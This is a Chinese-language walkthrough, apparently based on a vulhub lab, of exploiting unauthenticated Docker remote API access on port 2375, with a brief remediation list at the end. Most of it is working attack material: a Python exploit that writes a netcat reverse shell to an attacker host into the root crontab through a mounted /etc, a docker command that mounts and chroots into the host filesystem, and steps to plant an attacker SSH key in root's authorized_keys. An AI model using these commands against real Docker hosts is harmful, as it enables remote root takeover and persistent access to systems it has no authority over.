Docker未授权访问漏洞验证

一、漏洞简介

  Docker 是一个开源的应用容器引擎,基于 Go 语言 并遵从 Apache2.0 协议开源,Docker主要包含三个方面,镜像、容器、仓库。Docker不正确的使用可以使入侵者利用进一步造成docker逃逸。
  Docker remote api主要的目的是取代命令行界面,docker client和docker daemon通过unix domain socket进行通信,默认情况下,只有本机的root和docker组用户才能操作docker。
  由于docker安装后是默认不允许远程访问的,但是可以使用docker_remote_api开启dcoker远程访问,虽然这样可以远程访问了,但是直接暴露在公网上的2375端口是非常危险的,导致所有人都可以远程操作这台主机上的Docker。

二、漏洞详情

  Docker的2375端口是docker remote API的默认端口,一般是不使用的(不占用)。开启2375端口即可远程访问可以任意执行Docker命令了。可以操作Docker的容器。如果网站部署在了Docker容器里面的话,可以进入攻击。

三、环境搭建

cd vulhub/docker/unauthorized-rce
docker-compose build
docker-compose up -d

四、检测方式

进行端口扫描查看是否开放2375端口,并且访问ip:2375/version 出现如下信息:

五、漏洞利用

攻击方法一:定时任务反弹shell

1、在kali上安装docker环境

apt-get install docker docker-compose
service docker start

2、监听端口

在kali上开启nc监听本地9999端口,用来接收反弹的Shell
nc -lvp 9999

3、定时任务反弹shell

使用Docker随意启动一个容器,并将宿主机的 /etc 目录挂载到容器中,便可以任意读写文件了,可以将命令写入 crontab 配置文件,进行反弹shell。
创建exp文件,使用sh定时任务来进行反弹shell,exp脚本:
vim docker-hack.py
import docker
client = docker.DockerClient(base_url='http://192.168.25.21:2375/')
data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc 192.168.21.4 9999 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})

4、执行exp脚本

执行 python 脚本反弹Shell给Kali主机的9999端口。
python3.8 docker-hack.py
其它几个版本的python 无法获取到shell

5、获取到shell权限

执行完脚本,耐心等待一会才会反弹shell到kali主机,大约一分多钟时间

攻击方法二:容器挂载 利用公私钥登录

1、创建容器并挂载主机目录

使用docker命令创建一个busybox容器,并将宿主机的磁盘挂载到容器中。busybox体积小,从仓库拉取的速度也更快,同时命令也齐全,搞起来方便。
docker -H tcp://192.168.25.21 run --rm -it -v /:/mnt busybox chroot /mnt sh
可以看到 已经直接进入了目标的系统目录。
参数含义:
–rm 容器停止时自动删除该容器

-privileged 使用该参数,container内的root有真正root权限。否则container内的root只是外部一个普通用户权限。privileged启动的容器,可以看到很多host上的设备,并可以执行mount;允许字docker容器中启动docker容器。

-v 挂载目录。格式 系统目录:容器目录

chroot /mnt 更改root目录,系统默认目录结构以 /(root) 开始,使用chroot后,系统目录结构以指定的 /mnt 位置作为 / 位置,最后的sh是我们使用的shell。

2、写入攻击者的公钥

在Kali攻击机上生成公钥,并将其写入到目标机器宿主机的/root/.ssh/authorized_keys文件中,即可直接免密登录目标机器。
生成公钥 id_rsa.pub:
ssh-keygen -t rsa

3、给容器写公钥

回到上面第一步,挂载之后进入容器系统/root/.ssh目录,没有,就创建一个:
mkdir /root/.ssh
使用echo写入的方式 写公钥
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDMz97NtLzt7v86NdEfSY2LvnlUQ4SwNGK+Xk/ZTf+xz6njrxWRjMLyU1eN0BA/gkiyhq/Us1CchLivMV/j+Ch+zxnGF2fs4WWaLLma3fWVU0pQssvyD4uNAr74LUN2Lj2v/scjNlV3qOgHsQRZFlryKSv7lsw9IZuhv+NUMTppA+M4dbUVYYS7wqlcA/FMff6lRWVLyjDZtQxc2tpiM5k8IN3Ih5KUW8eIIwRr10gqMNzO3aHcxsQSCoUIBiQXM2uX1o7hPXG2Xj0CXJnanZ3smGJUOj1tCYyUy9jhE2+kcbpHmPDQoo9JSYI3UCY+MByAMNlT+d00QRnFe9VoT75XTJjHjadotpdMuXe+Q3mQu2fIlCtW0NVyBu46t/OhBBMMt6CgMlh9g74Nw42P2vn9IQM/rYbIf3wyx8re7esu3UmkB//lEnnH4YkPxLZNBtG05vYfpA6fv1ltMj1jYfEi+FSGTa80Jz55ysy+nWmHUu70lGFS8OK1ip8X+qLYrl0= root@Kail2020" >  /root/.ssh/authorized_keys
接着使用自己刚刚生成的私钥去连接即可:
ssh -i id_rsa root@ip
备注:由于这个容器是精简版的,没有SSH服务,后续无法测试,暂时到此。

六、漏洞修复与总结

1.关闭2375端口 (尤其是公网情况下一定要禁用此端口)
2.在防火墙上配置禁止外网访问2375端口
3.Docker是以root权限运行的,这是所有姿势的前提
4.Docker在运行一个容器的时候可以将宿主机上的一个目录挂载到容器内的一个目录,来进行docker逃逸, 还可以通过crontab写计划任务反弹shell。